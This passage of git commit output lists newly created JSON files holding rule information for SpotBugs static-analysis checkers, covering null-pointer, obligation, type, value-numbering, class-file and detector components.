100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/LocationWhereValueBecomesNull.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/MayReturnNullPropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullParamViolation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullSpecification.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonCollector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonFinder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullValueUnconditionalDeref.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ParameterNullnessPropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/PointerUsageRequiringNonNullValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/RedundantBranch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnValueNullnessPropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/TypeQualifierNullnessAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/UsagesRequiringNonNullValues.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/InstructionActionCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/MatchMethodEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/NonexistentObligationException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/Obligation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAcquiredOrReleasedInLoopException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseAction.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseActionType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntryType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/State.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/StateSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/BottomType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/DoubleExtraType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionObjectType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSetFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExtendedTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreTypeDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/LongExtraType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/NullType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/StandardTypeMerger.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ThrownException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TopType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeMerger.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/AvailableLoad.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/LoadedFieldSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/MergeTree.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumber.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysisFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberSourceInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/AnnotationDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/BCELUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/CFGDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/OpcodeStackDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/PreorderDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NONNULL2Z.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NULL2Z.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NullnessConversationInstruction.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/BugReporterDecorator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/MaxRankDecorator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/SuppressionDecorator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bytecode/MemberUtils.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/SourceCharset.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UTF8.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UserTextFile.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/CheckedAnalysisException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassDescriptor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassNameMismatchException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/DescriptorFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldDescriptor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodDescriptor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodName.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/Global.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngineRegistrar.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassConstants.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassObserver.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPath.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilderProgress.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseIterator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseLocator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IDatabaseFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IErrorLogger.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IMethodAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IScannableCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/InvalidClassFileFormatException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MethodDescriptor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MissingClassException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/RecomputableClassAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ReflectionDatabaseFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ResourceNotFoundException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/UncheckedAnalysisException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotatedObject.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotationValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassData.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassNameAndSuperclassInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/EnumValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/FieldInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/MethodInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractFieldAnnotationVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractMethodVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassDataAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassInfoAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassNameAndSuperclassInfoAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserInterface.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingASM.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingBCEL.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/EngineRegistrar.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/SelfMethodCalls.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassNodeAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassReaderAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/EngineRegistrar.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/FindBugsASM.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssertionMethodsFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssignedFieldMapFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BackwardTypeQualifierDataflowFactoryFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BlockTypeAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CFGFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CallListDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ClassContextClassAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CompactLocationNumberingFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantPoolGenFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/DepthFirstSearchFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/EngineRegistrar.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ExceptionSetFactoryFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/FinallyDuplicatesInfoFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ForwardTypeQualifierDataflowFactoryFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/IsNullValueDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/JavaClassAnalysisEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LiveLocalStoreDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LoadedFieldSetFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockCheckerFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/LockDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodBytecodeSetFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/MethodGenFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionDominatorsAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonExceptionPostDominatorsAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionDominatorsAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/NonImplicitExceptionPostDominatorsAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ObligationDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ParameterSignatureListFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReturnPathTypeDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ReverseDepthFirstSearchFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/StoreDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/TypeDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnconditionalValueDerefDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedBytecodeCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UnpackedCodeFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/UsagesRequiringNonNullValuesFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueNumberDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ValueRangeAnalysisFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AbstractScannableCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/AnalysisCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathBuilder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathImpl.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseIterator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/EmptyCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/FilesystemCodeBaseLocator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/JrtfsCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBaseLocator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipCodeBaseFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBaseEntry.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/AnalysisFeatureSetting.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/CommandLine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/ProjectFilterSettings.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/SortedProperties.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/UserPreferences.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/Weakness.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessCatalog.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessSeverity.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AbstractAssertDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AnyMethodReturnValueStreamFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AppendingToAnObjectOutputStream.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AtomicityProblem.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadAppletConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadResultSetAccess.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadSyntaxForRegularExpression.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadUseOfReturnValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadlyOverriddenAdapter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BooleanReturnNull.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildAccessMethodsDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildCheckReturnAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildInterproceduralCallGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonNullAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonnullReturnDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildObligationPolicyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildStringPassthruGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildUnconditionalParamDerefDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnconditionalThrower.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnsupportedMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CalledMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckAnalysisContextContainedAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckCalls.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckExpectedWarnings.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckImmutableAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckRelaxingNullnessAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckTypeQualifiers.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CloneIdiom.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ComparatorIdiom.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusedInheritance.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule 